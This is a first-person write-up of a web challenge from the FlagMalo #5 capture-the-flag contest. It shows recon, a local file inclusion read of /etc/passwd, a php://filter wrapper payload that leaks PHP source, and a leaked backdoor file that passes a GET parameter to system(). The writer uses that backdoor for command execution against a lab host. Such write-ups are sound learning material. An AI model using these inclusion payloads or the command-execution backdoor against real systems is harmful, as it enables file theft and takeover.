FlagMalo #5 Breton Independentists !

1.Introduction

A few days ago the 5th edition of the FlagMalo CTF was running. I couldn’t miss an occasion of participating in a CTF which was organized by students of my university so guess what ? I put my name down with friends of mine and we gave it a try. It was a really cool CTF with a lot of different challenges going from web app security to reverse engineering, osint etc… Great shoutout to the organizers.

However there was one web app challenge I achieved on which I struggled a bit and I thought it would be cool to make a writeup of it. Independentists are planning a secret reunion, you must find the town where it’s going to take place to stop them. Basically it’s just an LFI but you had to use filters. So let’s dive in :)

2.Recognition

First things first, let’s open the webpage and see how it looks like.

homepage

There isn’t nothing much we can see so far for now so t let’s try to do a bit of recognition, first of all we can use the great add-on Wappalyzer to try and identify the services running in the backend. It indicated the website is running under PHP and Apache2, we now have a first glance of how the webapp is working.

The homepage is quite poor so while we try and investigate a bit more let’s run a quick directory fuzzing using gobuster.

gobuster dir --url http://192.168.1.18 --wordlist "/usr/share/wordlist/dirb/big.txt" 

While that’s running, code review of the homepage !

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="index.css">
    <title>Indépendantistes bretons</title>
</head>
<body>
    <div class="main">
        <h1 class="titleMain">Front Indépendantiste breton</h1>
        <img src="images/main_image.jpg" alt="" class="imageMain" >

    </div>
    <div class="second">
    <hr class="barreMiddle">
    <h1 class="text">Pour une Bretagne indépendante!</h1>
    <p style="text-align: center;"><a  class="text" href="index.php?page=video.html">Lien vidéo de l'hymne</a></p>
</div>
</body>
</html>

There again nothing much but we discover there is a php page and not only HTML that links to an other page, so let’s go and find out what’s going on over there.

video_page

Ok so we have a linked towards a video. Let’s put this aside, maybe it’ll reveal being interesting in the future (spoiler : no). Again we can review source code, maybe we could find something interesting.


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="index.css">
    <title>Vidéo présentation</title>
</head>
<body>
    <div class="main">
        <h1 class="titleMain">Front Indépendantiste breton</h1>
        <p style="text-align:center;"><iframe width="420" height="315"
        src="https://www.youtube.com/embed/k-Yy4tJmbQY">
        </iframe></div><p>
    </div>
</body>
</html>

This time there really is nothing at all so dead end for now. After that I decided to go and look to the output of my gobuster scan, it only had found a /images directory, I went and checked and there again nothing about the image of the first page. As from here I had no real clue of what was the attack vector. I looked at the video we found earlier, looked through the comments, it was a real rabbit hole, I only lost time. Then I fired up Burp to try and fiddle with cookies or requests, there again nothing I could exploit.

3.Exploit time

I struggled for a couple of minutes on this and was asking myself what could be the vulnerability as I was sure there was something, so I went back on the previous steps and Eureka, something attracted my attention.

http://192.168.1.18/index.php?page=video.html

This reminded me of a vulnerability I had seen multiple times before and it’s called LFI (Local File Inclusion). Basically when requests are not sanitized properly it allows an attacker to read files from the filesystem. So I try here a basic payload for an LFI (read /etc/passwd). So the request becomes http://192.168.1.18?page=/etc/passwd

lfi

Bingo ! Here we are, we’ve found our attack vector. Then I need to find my way into the system. For a few minutes I tried to read different files that could contain valuable information (shadow, apache logs etc…) and it gave nothing. From there I tried to read the content of the index.php page we noticed earlier. I tried in different ways, using absolute/relative paths and it didn’t give something valuable.

I started fiddling in my memory, what could I use to read files, and here come wrappers. Using the PayloadAllTheThings GitHub repo i used the following payload : ?page=php://filter/convert.base64-encode/resource=index.php. And here we get a pretty base64 cipher that contains the code of our index.php file.

wrapper

Our base64 output is :

PD9waHANCi8vcmVxdWlyZSgiY2F0Y2htZWlmeW91Y2FuLnBocCIpOw0KaWYgKCFpc3NldCgkX0dFVFsncGFnZSddKSkgew0KICBpbmNsdWRlKCJob21lLmh0bWwiKSA7DQp9IGVsc2Ugew0KICAgIGluY2x1ZGUoJF9HRVRbJ3BhZ2UnXSkgOw0KfSA/Pg==

Opening our best friend (linux terminal) we just do that :

echo `PD9waHANCi8vcmVxdWlyZSgiY2F0Y2htZWlmeW91Y2FuLnBocCIpOw0KaWYgKCFpc3NldCgkX0dFVFsncGFnZSddKSkgew0KICBpbmNsdWRlKCJob21lLmh0bWwiKSA7DQp9IGVsc2Ugew0KICAgIGluY2x1ZGUoJF9HRVRbJ3BhZ2UnXSkgOw0KfSA/Pg==` > index.php | base64 -d index.php 

And it gives us our marvelous php code :

<?php
//require("catchmeifyoucan.php");
if (!isset($_GET['page'])) {
  include("home.html") ;
} else {
    include($_GET['page']) ;
} ?>

Ok, so this is a basic vulnerable code but there is an interesting new php file we can see, and so we can use the exact same technique on it. This gives us the following code :

<?php
if ($_GET['boomboom']=="breton") {
    if (!isset($_GET['command'])) {
    
    } else {
        $return=system($_GET['command']);
    }
  } ?>

So, if we resume, going on the catchmeifyoucan.php page using the ‘boomboom’ var that equals ‘breton’ and and a second var named ‘command’, the value of ‘command’ will be executed and returned to us. That can be used as an OS command injection.

4. Where is our flag ?

Now we have our command execution, it shouldn’t be to hard to own the system. Let’s verify our command exec with a basic ‘whoami’

whoami

Here we go, it works, now let’s try and find our flag. That’s why we’re here right ? :) Quick directory listing with ‘ls’ outputs 756e646f7373696572696e7472696775616e74 catchmeifyoucan.php home.html images index.css index.php video.html

Then we can look into ‘756e646f7373696572696e7472696775616e74’ using 'ls 756e646f7373696572696e7472696775616e74' From this we get two interesting files : YnJlaXpoNDQ=.txt and location.zip

Again, open our bestfriend the terminal and use wget to get our files on our host.

wget http://192.168.1.18/756e646f7373696572696e7472696775616e74/location.zip
wget http://192.168.1.18/756e646f7373696572696e7472696775616e74/YnJlaXpoNDQ=.txt

Decoding the name of the text file gives us the following keyword : b[redacted]4

We can use this keywork to unzip our location.zip file. Going throught the content we get some coordinates. Look up these on Internet and then encapsulate the name of the town you find in a pretty flag fmctf{town}. Submit and appreciate your points <3

5.Conclusion

To conclude I would like to thank again the organizers/staff of FlagMalo who did a great job, every challenge was entertaining and there was a real diversity of challenges.

I would just want to add that this is my first ever security writeup so forgive me if the structure isn’t always good. I will improve in the future.